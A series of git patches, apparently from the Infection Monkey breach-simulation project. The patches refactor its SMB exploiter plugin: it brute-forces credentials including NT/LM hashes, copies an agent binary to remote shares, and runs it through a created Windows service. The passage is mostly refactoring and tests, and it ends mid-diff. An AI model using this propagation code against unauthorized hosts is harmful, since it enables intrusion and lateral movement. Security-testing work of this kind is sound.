e5d1a9461a72f4bb9681d17c945249f66ebd5a28 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 15 Mar 2023 15:05:05 +0100 Subject: [PATCH 0744/1338] SMB: Rename credentials_list to credential_combinations --- monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index 52ca941a2ed..d843a733f0c 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -60,9 +60,9 @@ def _exploit( self, host: TargetHost, options: SMBOptions, interrupt: Event ) -> Optional[Credentials]: credentials = self._propagation_credentials_repository.get_credentials() - credentials_list = generate_brute_force_credentials(credentials) + credential_combinations = generate_brute_force_credentials(credentials) - for brute_force_credentials in interruptible_iter(credentials_list, interrupt): + for brute_force_credentials in interruptible_iter(credential_combinations, interrupt): if self._exploit_client.authenticate(host, options, brute_force_credentials): return brute_force_credentials From 3b28ffe77617b008cc9a92fea2fe163be73639b1 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 15 Mar 2023 15:08:33 +0100 Subject: [PATCH 0745/1338] SMB: Add missing log statement --- monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index d843a733f0c..f29629d3bb3 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -45,6 +45,7 @@ def exploit_host( logger.exception(f"Failed to exploit {host}: {err}") return ExploiterResultData() if not credentials: + logger.error("Failed to authenticate to {host} using SMB.") return ExploiterResultData() try: From 3243bf0c6e0e3b2e23a173d4bcb9a4fc6c8d01dd Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 15 Mar 2023 15:24:21 +0100 Subject: [PATCH 0746/1338] SMB: Switch places of shares and host in connected_shares --- monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index bebcb15c0fa..046832b6159 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -205,7 +205,7 @@ def _query_shared_resources(self): return shares - def _connected_shares(self, shares, host: TargetHost, credentials: Credentials): + def _connected_shares(self, host: TargetHost, shares, credentials: Credentials): """Yields a tuple of (remote_path, share_name, share_path) Side effect: the SMBConnection is connected to the share""" # Attempt to connect to a share over SMB From a362b55bd2c33e3dbfee6a1b82e001c6ceed84b5 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 15 Mar 2023 16:02:04 +0100 Subject: [PATCH 0747/1338] SMB: Fix small bug while smb_login --- monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 046832b6159..b892fcc7dae 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -39,8 +39,7 @@ def authenticate(self, host: TargetHost, options: SMBOptions, credentials: Crede if not self._smb: return False - self._smb = smb_login(self._smb, credentials) - if not self._smb: + if not smb_login(self._smb, credentials): return False self._smb.setTimeout(options.smb_connect_timeout) From 4a3884677f18ea8fabc4a500e67aa956493f8748 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 15 Mar 2023 16:14:00 +0100 Subject: [PATCH 0748/1338] SMB: Add keyword arguments in smb_utils --- .../exploiters/smb/src/smb_utils.py | 20 +++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_utils.py b/monkey/agent_plugins/exploiters/smb/src/smb_utils.py index f28526c20b3..b575199811e 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_utils.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_utils.py @@ -34,11 +34,11 @@ def smb_login(smb: SMBConnection, credentials: Credentials) -> bool: """True if login succeeded, False otherwise""" try: smb.login( - credentials.identity, - _secret_for_type(credentials, Password), - "", - _secret_for_type(credentials, LMHash), - _secret_for_type(credentials, NTHash), + user=credentials.identity, + password=_secret_for_type(credentials, Password), + domain="", + lmhash=_secret_for_type(credentials, LMHash), + nthash=_secret_for_type(credentials, NTHash), ) except Exception as err: logger.debug(f"Failed to login to with user {credentials.identity}: {err}") @@ -53,11 +53,11 @@ def rpc_connect(self, host: TargetHost, port: NetworkPort, credentials: Credenti rpc_transport.set_dport(port) rpc_transport.setRemoteHost(str(host.ip)) rpc_transport.set_credentials( - credentials.identity, - _secret_for_type(credentials, Password), - "", - _secret_for_type(credentials, LMHash), - _secret_for_type(credentials, NTHash), + username=credentials.identity, + password=_secret_for_type(credentials, Password), + domain="", + lmhash=_secret_for_type(credentials, LMHash), + nthash=_secret_for_type(credentials, NTHash), ) rpc_transport.set_kerberos(False) From a10dadea8b5e6f2e39630e39b7c311fdfc9827aa Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 15 Mar 2023 16:56:21 +0100 Subject: [PATCH 0749/1338] SMB: Raise exception instead of returning None --- .../exploiters/smb/src/smb_exploit_client.py | 12 +++--------- .../exploiters/smb/src/smb_exploiter.py | 7 +++---- .../exploiters/smb/test_smb_exploiter.py | 2 +- 3 files changed, 7 insertions(+), 14 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index b892fcc7dae..bd60ea3db79 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -58,7 +58,7 @@ def execute( current_depth: int, credentials: Credentials, options: SMBOptions, - ) -> bool: + ): rpc = self._connect_rpc(host, credentials, options.smb_connect_timeout) command = build_smb_command(servers, current_depth, path, dest_path) @@ -79,19 +79,13 @@ def execute( logger.debug(f"Service '{SERVICE_NAME}' already exists, trying to start it") resp = scmr.hROpenServiceW(rpc, sc_handle, SERVICE_NAME) else: - return False + raise err service_handle = resp["lpServiceHandle"] - try: - scmr.hRStartServiceW(rpc, service_handle) - except Exception: - return False - + scmr.hRStartServiceW(rpc, service_handle) scmr.hRDeleteService(rpc, service_handle) scmr.hRCloseServiceHandle(rpc, service_handle) - return True - def _connect_rpc(self, host, credentials, timeout): return rpc_connect(host, 139, credentials, timeout) or rpc_connect( host, 445, credentials, timeout diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index f29629d3bb3..5b461d462e5 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -44,9 +44,6 @@ def exploit_host( except Exception as err: logger.exception(f"Failed to exploit {host}: {err}") return ExploiterResultData() - if not credentials: - logger.error("Failed to authenticate to {host} using SMB.") - return ExploiterResultData() try: propagated = self._propagate( @@ -63,11 +60,13 @@ def _exploit( credentials = self._propagation_credentials_repository.get_credentials() credential_combinations = generate_brute_force_credentials(credentials) + brute_force_credentials = None for brute_force_credentials in interruptible_iter(credential_combinations, interrupt): if self._exploit_client.authenticate(host, options, brute_force_credentials): return brute_force_credentials - return None + if not brute_force_credentials: + raise Exception(f"No successful credentials were used to authenticate to {host}") def _propagate( self, diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py index dc0a22b15da..667f0acbfe6 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py @@ -73,7 +73,7 @@ def test_exploit_host__exploit_succeeds(smb_exploiter: SMBExploiter): def test_exploit_host__exploit_fails( smb_exploiter: SMBExploiter, mock_exploit_client: SMBExploitClient ): - mock_exploit_client.authenticate.return_value = False + mock_exploit_client.authenticate.side_effect = Exception() result = run_smb_exploiter(smb_exploiter) From 15448320d1d47f9a1c8938bf0c22c8cd37526df2 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 15 Mar 2023 16:55:22 +0000 Subject: [PATCH 0750/1338] SMB: Generalize SMBExploiterClient interface --- .../exploiters/smb/src/smb_exploit_client.py | 56 ++++++++++++++----- .../exploiters/smb/src/smb_exploiter.py | 44 ++++----------- .../exploiters/smb/test_smb_exploiter.py | 2 +- 3 files changed, 52 insertions(+), 50 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index bd60ea3db79..4616a1bcdfe 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -10,6 +10,8 @@ from common.agent_plugins import RemoteCopyFileError from common.credentials import Credentials from common.event_queue import IAgentEventPublisher +from common.types import Event +from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.i_puppet import TargetHost from .smb_command_builder import build_smb_command @@ -21,6 +23,14 @@ SERVICE_NAME = "InfectionMonkey" +class CopiedFileDetails: + """Stores the details of a copied file""" + + def __init__(self, remote_path: str, destination_path: str): + self.remote_path = remote_path + self.destination_path = destination_path + + class SMBExploitClient: """Manages the SMB connection, Exploitation events""" @@ -30,6 +40,8 @@ def __init__( ): self._agent_event_publisher = agent_event_publisher self._smb: Optional[SMBConnection] = None + self._copied_file_details: Optional[CopiedFileDetails] = None + self._authenticated_credentials: Optional[Credentials] = None def authenticate(self, host: TargetHost, options: SMBOptions, credentials: Credentials) -> bool: """Returns True if authentication succeeded, False otherwise @@ -47,20 +59,30 @@ def authenticate(self, host: TargetHost, options: SMBOptions, credentials: Crede if logout_guest(self._smb): return False + self._authenticated_credentials = credentials return True def execute( self, host: TargetHost, - path: str, - dest_path: str, servers: Sequence[str], current_depth: int, - credentials: Credentials, options: SMBOptions, + interrupt: Event, ): - rpc = self._connect_rpc(host, credentials, options.smb_connect_timeout) - command = build_smb_command(servers, current_depth, path, dest_path) + """Raises an exception if the execution failed""" + if not self._authenticated_credentials: + raise Exception("Not authenticated") + rpc = self._connect_rpc(host, self._authenticated_credentials, options.smb_connect_timeout) + + if not self._copied_file_details: + raise Exception("File was not copied before executing it") + command = build_smb_command( + servers, + current_depth, + self._copied_file_details.remote_path, + self._copied_file_details.destination_path, + ) rpc.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(rpc) @@ -95,17 +117,15 @@ def copy_file( self, host: TargetHost, file: BytesIO, - path: PurePath, - credentials: Credentials, options: SMBOptions, - ) -> str: + ): + """Raises an exception if the copy failed""" if not self._query_server_info(): raise RemoteCopyFileError("No server information is available") - shares = self._query_shares(host, path) - for remote_path, share_name, share_path in self._connected_shares( - host, shares, credentials - ): + destination_path = get_agent_dst_path(host) + shares = self._query_shares(host, destination_path) + for remote_path, share_name, share_path in self._connected_shares(host, shares): logger.debug( f"Trying to copy monkey file to share '{share_name}' [%s + %s] on victim {host}", share_path, @@ -113,6 +133,8 @@ def copy_file( ) try: + if not self._smb: + raise RemoteCopyFileError("Not authenticated") self._smb.setTimeout(options.agent_binary_upload_timeout) self._smb.putFile(share_name, remote_path, file.read) @@ -121,7 +143,9 @@ def copy_file( f"[{share_path}] on victim {host}" ) - return ntpath.join(share_path, remote_path.strip(ntpath.sep)) + self._copied_file_details = CopiedFileDetails( + ntpath.join(share_path, remote_path.strip(ntpath.sep)), destination_path + ) except Exception as exc: error_message = ( f"Error uploading monkey to share '{share_name}' on victim {host}: {exc}" @@ -198,7 +222,7 @@ def _query_shared_resources(self): return shares - def _connected_shares(self, host: TargetHost, shares, credentials: Credentials): + def _connected_shares(self, host: TargetHost, shares): """Yields a tuple of (remote_path, share_name, share_path) Side effect: the SMBConnection is connected to the share""" # Attempt to connect to a share over SMB @@ -208,7 +232,9 @@ def _connected_shares(self, host: TargetHost, shares, credentials: Credentials): # TODO: Do we really need to handle reconnects? if not self._smb: - self._connect_with_user(host, credentials) + if not self._authenticated_credentials: + break + self._connect_with_user(host, self._authenticated_credentials) if not self._smb: break diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index 5b461d462e5..f912c21284d 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -1,12 +1,9 @@ import logging -from typing import Optional, Sequence +from typing import Sequence -from common.agent_plugins import RemoteCopyFileError -from common.credentials import Credentials from common.types import Event from infection_monkey.exploit import IAgentBinaryRepository from infection_monkey.exploit.tools import generate_brute_force_credentials -from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository from infection_monkey.utils.threading import interruptible_iter @@ -40,57 +37,36 @@ def exploit_host( return ExploiterResultData() try: - credentials = self._exploit(host, options, interrupt) + self._exploit(host, options, interrupt) except Exception as err: logger.exception(f"Failed to exploit {host}: {err}") return ExploiterResultData() try: - propagated = self._propagate( - host, options, credentials, servers, current_depth, interrupt - ) - return ExploiterResultData(exploitation_success=True, propagation_success=propagated) + self._propagate(host, options, servers, current_depth, interrupt) + return ExploiterResultData(exploitation_success=True, propagation_success=True) except Exception as err: logger.exception(f"Failed to propagate to {host}: {err}") return ExploiterResultData(exploitation_success=True) - def _exploit( - self, host: TargetHost, options: SMBOptions, interrupt: Event - ) -> Optional[Credentials]: + def _exploit(self, host: TargetHost, options: SMBOptions, interrupt: Event): credentials = self._propagation_credentials_repository.get_credentials() credential_combinations = generate_brute_force_credentials(credentials) - brute_force_credentials = None for brute_force_credentials in interruptible_iter(credential_combinations, interrupt): if self._exploit_client.authenticate(host, options, brute_force_credentials): - return brute_force_credentials + return - if not brute_force_credentials: - raise Exception(f"No successful credentials were used to authenticate to {host}") + raise Exception(f"No successful credentials were used to authenticate to {host}") def _propagate( self, host: TargetHost, options: SMBOptions, - credentials: Credentials, servers: Sequence[str], current_depth: int, interrupt: Event, - ) -> bool: - destination_path = get_agent_dst_path(host) + ): agent_binary = self._agent_binary_repository.get_agent_binary(host.operating_system) - try: - remote_path = self._exploit_client.copy_file( - agent_binary, host, destination_path, credentials, options - ) - except RemoteCopyFileError as err: - logger.debug(f"Error occured while copying file to host {host}: {str(err)}") - return False - - if not self._exploit_client.execute( - host, remote_path, destination_path, servers, current_depth, credentials, options - ): - logger.debug(f"Failed to run agent on {host}") - return False - - return True + self._exploit_client.copy_file(agent_binary, host, options) + self._exploit_client.execute(host, servers, current_depth, options, interrupt) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py index 667f0acbfe6..fe108aee86d 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py @@ -105,7 +105,7 @@ def test_exploit_host__execute_fails( smb_exploiter: SMBExploiter, mock_exploit_client: SMBExploitClient, ): - mock_exploit_client.execute.return_value = False + mock_exploit_client.execute.side_effect = Exception() result = run_smb_exploiter(smb_exploiter) assert result.exploitation_success From b5b704f20f5800b226ddf56351996f45de367518 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Thu, 16 Mar 2023 14:50:39 +0000 Subject: [PATCH 0751/1338] SMB: Create interface for remote execution clients --- .../exploiters/smb/src/smb_exploiter.py | 37 +++++++++++------- .../exploit/tools/__init__.py | 7 ++++ .../exploit/tools/i_remote_access_client.py | 38 +++++++++++++++++++ .../tools/i_remote_access_client_builder.py | 9 +++++ .../exploiters/smb/test_smb_exploiter.py | 37 ++++++++++-------- vulture_allowlist.py | 9 ++++- 6 files changed, 107 insertions(+), 30 deletions(-) create mode 100644 monkey/infection_monkey/exploit/tools/i_remote_access_client.py create mode 100644 monkey/infection_monkey/exploit/tools/i_remote_access_client_builder.py diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index f912c21284d..36e8d74dc6c 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -3,12 +3,16 @@ from common.types import Event from infection_monkey.exploit import IAgentBinaryRepository -from infection_monkey.exploit.tools import generate_brute_force_credentials +from infection_monkey.exploit.tools import ( + IRemoteAccessClient, + IRemoteAccessClientBuilder, + RemoteAuthenticationError, + generate_brute_force_credentials, +) from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository from infection_monkey.utils.threading import interruptible_iter -from .smb_exploit_client import SMBExploitClient from .smb_options import SMBOptions logger = logging.getLogger(__name__) @@ -17,11 +21,11 @@ class SMBExploiter: def __init__( self, - exploit_client: SMBExploitClient, + exploit_client_builder: IRemoteAccessClientBuilder, propagation_credentials_repository: IPropagationCredentialsRepository, agent_binary_repository: IAgentBinaryRepository, ): - self._exploit_client = exploit_client + self._exploit_client_builder = exploit_client_builder self._propagation_credentials_repository = propagation_credentials_repository self._agent_binary_repository = agent_binary_repository @@ -36,37 +40,42 @@ def exploit_host( if interrupt.is_set(): return ExploiterResultData() + exploit_client = self._exploit_client_builder.build_client( + host=host, servers=servers, current_depth=current_depth, options=options + ) + try: - self._exploit(host, options, interrupt) + self._exploit(exploit_client, interrupt) except Exception as err: logger.exception(f"Failed to exploit {host}: {err}") return ExploiterResultData() try: - self._propagate(host, options, servers, current_depth, interrupt) + self._propagate(exploit_client, host, interrupt) return ExploiterResultData(exploitation_success=True, propagation_success=True) except Exception as err: logger.exception(f"Failed to propagate to {host}: {err}") return ExploiterResultData(exploitation_success=True) - def _exploit(self, host: TargetHost, options: SMBOptions, interrupt: Event): + def _exploit(self, exploit_client: IRemoteAccessClient, interrupt: Event): credentials = self._propagation_credentials_repository.get_credentials() credential_combinations = generate_brute_force_credentials(credentials) for brute_force_credentials in interruptible_iter(credential_combinations, interrupt): - if self._exploit_client.authenticate(host, options, brute_force_credentials): + try: + exploit_client.login(brute_force_credentials) return + except RemoteAuthenticationError: + continue - raise Exception(f"No successful credentials were used to authenticate to {host}") + raise Exception("Failed to login with the given credentials") def _propagate( self, + exploit_client: IRemoteAccessClient, host: TargetHost, - options: SMBOptions, - servers: Sequence[str], - current_depth: int, interrupt: Event, ): agent_binary = self._agent_binary_repository.get_agent_binary(host.operating_system) - self._exploit_client.copy_file(agent_binary, host, options) - self._exploit_client.execute(host, servers, current_depth, options, interrupt) + exploit_client.copy_file(agent_binary) + exploit_client.execute(interrupt) diff --git a/monkey/infection_monkey/exploit/tools/__init__.py b/monkey/infection_monkey/exploit/tools/__init__.py index d11f5b1a59b..336000e21ad 100644 --- a/monkey/infection_monkey/exploit/tools/__init__.py +++ b/monkey/infection_monkey/exploit/tools/__init__.py @@ -1,2 +1,9 @@ from .http_bytes_server import HTTPBytesServer from .brute_force_credentials_generator import generate_brute_force_credentials, secret_type_filter +from .i_remote_access_client import ( + IRemoteAccessClient, + RemoteAuthenticationError, + RemoteCommandExecutionError, + RemoteFileCopyError, +) +from .i_remote_access_client_builder import IRemoteAccessClientBuilder diff --git a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py new file mode 100644 index 00000000000..020ce9c388b --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py @@ -0,0 +1,38 @@ +from abc import ABC, abstractmethod + +from common.credentials import Credentials + + +class RemoteAuthenticationError(Exception): + pass + + +class RemoteFileCopyError(Exception): + pass + + +class RemoteCommandExecutionError(Exception): + pass + + +class IRemoteAccessClient(ABC): + @abstractmethod + def login(self, credentials: Credentials): + """ + :raises RemoteAuthenticationError: If login failed + """ + pass + + @abstractmethod + def copy_file(self, src: str, dest: str): + """ + :raises RemoteFileCopyError: If copy failed + """ + pass + + @abstractmethod + def execute(self, command: str): + """ + :raises RemoteCommandExecutionError: If execution failed + """ + pass diff --git a/monkey/infection_monkey/exploit/tools/i_remote_access_client_builder.py b/monkey/infection_monkey/exploit/tools/i_remote_access_client_builder.py new file mode 100644 index 00000000000..4a47b91bf23 --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/i_remote_access_client_builder.py @@ -0,0 +1,9 @@ +from abc import ABC, abstractmethod + +from . import IRemoteAccessClient + + +class IRemoteAccessClientBuilder(ABC): + @abstractmethod + def build_client(self, **kwargs) -> IRemoteAccessClient: + pass diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py index fe108aee86d..5d47b579ae4 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py @@ -4,7 +4,6 @@ from unittest.mock import MagicMock import pytest -from agent_plugins.exploiters.smb.src.smb_exploit_client import SMBExploitClient from agent_plugins.exploiters.smb.src.smb_exploiter import SMBExploiter from agent_plugins.exploiters.smb.src.smb_options import SMBOptions from tests.data_for_tests.propagation_credentials import FULL_CREDENTIALS @@ -12,6 +11,7 @@ from common import OperatingSystem from common.credentials import Credentials from infection_monkey.exploit import IAgentBinaryRepository +from infection_monkey.exploit.tools import IRemoteAccessClient, IRemoteAccessClientBuilder from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository @@ -19,14 +19,21 @@ @pytest.fixture -def mock_exploit_client() -> SMBExploitClient: - client = MagicMock(spec=SMBExploitClient) - client.authenticate.return_value = True +def mock_exploit_client() -> IRemoteAccessClient: + client = MagicMock(spec=IRemoteAccessClient) + client.login.return_value = True client.copy_file.return_value = "path" client.execute.return_value = True return client +@pytest.fixture +def mock_exploit_client_builder(mock_exploit_client) -> IRemoteAccessClientBuilder: + builder = MagicMock(spec=IRemoteAccessClientBuilder) + builder.build_client.return_value = mock_exploit_client + return builder + + @pytest.fixture def mock_credentials_repository() -> IPropagationCredentialsRepository: repository = MagicMock(spec=IPropagationCredentialsRepository) @@ -36,11 +43,11 @@ def mock_credentials_repository() -> IPropagationCredentialsRepository: @pytest.fixture def smb_exploiter( - mock_exploit_client: SMBExploitClient, + mock_exploit_client_builder: IRemoteAccessClientBuilder, mock_credentials_repository: IPropagationCredentialsRepository, ) -> SMBExploiter: return SMBExploiter( - mock_exploit_client, + mock_exploit_client_builder, mock_credentials_repository, MagicMock(spec=IAgentBinaryRepository), ) @@ -71,9 +78,9 @@ def test_exploit_host__exploit_succeeds(smb_exploiter: SMBExploiter): def test_exploit_host__exploit_fails( - smb_exploiter: SMBExploiter, mock_exploit_client: SMBExploitClient + smb_exploiter: SMBExploiter, mock_exploit_client: IRemoteAccessClient ): - mock_exploit_client.authenticate.side_effect = Exception() + mock_exploit_client.login.side_effect = Exception() result = run_smb_exploiter(smb_exploiter) @@ -92,7 +99,7 @@ def test_exploit_host__propagation_succeeds( def test_exploit_host__copy_fails( smb_exploiter: SMBExploiter, - mock_exploit_client: SMBExploitClient, + mock_exploit_client: IRemoteAccessClient, ): mock_exploit_client.copy_file.side_effect = Exception() @@ -103,7 +110,7 @@ def test_exploit_host__copy_fails( def test_exploit_host__execute_fails( smb_exploiter: SMBExploiter, - mock_exploit_client: SMBExploitClient, + mock_exploit_client: IRemoteAccessClient, ): mock_exploit_client.execute.side_effect = Exception() @@ -114,9 +121,9 @@ def test_exploit_host__execute_fails( def test_exploit_host__exploit_fails_on_authentication_error( smb_exploiter: SMBExploiter, - mock_exploit_client: SMBExploitClient, + mock_exploit_client: IRemoteAccessClient, ): - mock_exploit_client.authenticate.side_effect = Exception() + mock_exploit_client.login.side_effect = Exception() result = run_smb_exploiter(smb_exploiter) assert not result.exploitation_success @@ -125,7 +132,7 @@ def test_exploit_host__exploit_fails_on_authentication_error( def test_exploit_host__propagation_fails_on_execute_error( smb_exploiter: SMBExploiter, - mock_exploit_client: SMBExploitClient, + mock_exploit_client: IRemoteAccessClient, ): mock_exploit_client.execute.side_effect = Exception() @@ -135,11 +142,11 @@ def test_exploit_host__propagation_fails_on_execute_error( def test_exploit_host__exploit_skipped_on_interrupt( - smb_exploiter: SMBExploiter, mock_exploit_client: SMBExploitClient + smb_exploiter: SMBExploiter, mock_exploit_client: IRemoteAccessClient ): interrupt = Event() interrupt.set() result = run_smb_exploiter(smb_exploiter, interrupt) assert result == ExploiterResultData() - assert not mock_exploit_client.authenticate.called + assert not mock_exploit_client.login.called diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 97600a58f2e..0bdffe66f2c 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -12,7 +12,12 @@ from common.types import Lock, NetworkPort, PluginName from infection_monkey.exploit import IslandAPIAgentOTPProvider from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory -from infection_monkey.exploit.tools import generate_brute_force_credentials, secret_type_filter +from infection_monkey.exploit.tools import ( + RemoteCommandExecutionError, + RemoteFileCopyError, + generate_brute_force_credentials, + secret_type_filter, +) from infection_monkey.exploit.zerologon import NetrServerPasswordSet, NetrServerPasswordSetResponse from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell from infection_monkey.island_api_client import http_island_api_client @@ -142,6 +147,8 @@ # Remove after #2952 generate_brute_force_credentials secret_type_filter +RemoteCommandExecutionError +RemoteFileCopyError SMBOptions.agent_binary_upload_timeout SMBOptions.smb_connect_timeout From 5b94671604fafd4a5a3ea65b83381269d06f5c77 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Thu, 16 Mar 2023 18:40:13 +0000 Subject: [PATCH 0752/1338] SMB: Try other paths if copy fails --- .../exploiters/smb/src/smb_exploiter.py | 22 +++++++++++++- .../exploit/tools/i_remote_access_client.py | 13 ++++++++- .../exploiters/smb/test_smb_exploiter.py | 29 ++++++++++++++++++- 3 files changed, 61 insertions(+), 3 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index 36e8d74dc6c..2bd349cb6c5 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -1,4 +1,5 @@ import logging +from io import BytesIO from typing import Sequence from common.types import Event @@ -7,8 +8,10 @@ IRemoteAccessClient, IRemoteAccessClientBuilder, RemoteAuthenticationError, + RemoteFileCopyError, generate_brute_force_credentials, ) +from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository from infection_monkey.utils.threading import interruptible_iter @@ -77,5 +80,22 @@ def _propagate( interrupt: Event, ): agent_binary = self._agent_binary_repository.get_agent_binary(host.operating_system) - exploit_client.copy_file(agent_binary) + self._copy_file(agent_binary, host, exploit_client) + exploit_client.execute(interrupt) + + def _copy_file(self, file: BytesIO, host: TargetHost, exploit_client: IRemoteAccessClient): + destination = get_agent_dst_path(host) + file_data = file.getvalue() + try: + exploit_client.copy_file(file_data, destination) + except RemoteFileCopyError: + other_destinations = exploit_client.get_available_paths() + for other_destination in other_destinations: + try: + exploit_client.copy_file(file_data, other_destination) + return + except RemoteFileCopyError: + continue + + raise Exception("Failed to copy file") diff --git a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py index 020ce9c388b..ed4b51c7093 100644 --- a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py +++ b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py @@ -19,20 +19,31 @@ class IRemoteAccessClient(ABC): @abstractmethod def login(self, credentials: Credentials): """ + :param credentials: Credentials to use for login :raises RemoteAuthenticationError: If login failed """ pass @abstractmethod - def copy_file(self, src: str, dest: str): + def copy_file(self, file: bytes, dest: str): """ + :param file: File to copy + :param dest: Destination path :raises RemoteFileCopyError: If copy failed """ pass + @abstractmethod + def get_available_paths(self) -> list[str]: + """ + :return: List of available paths + """ + pass + @abstractmethod def execute(self, command: str): """ + :param command: Command to execute :raises RemoteCommandExecutionError: If execution failed """ pass diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py index 5d47b579ae4..e04d31efd79 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py @@ -1,3 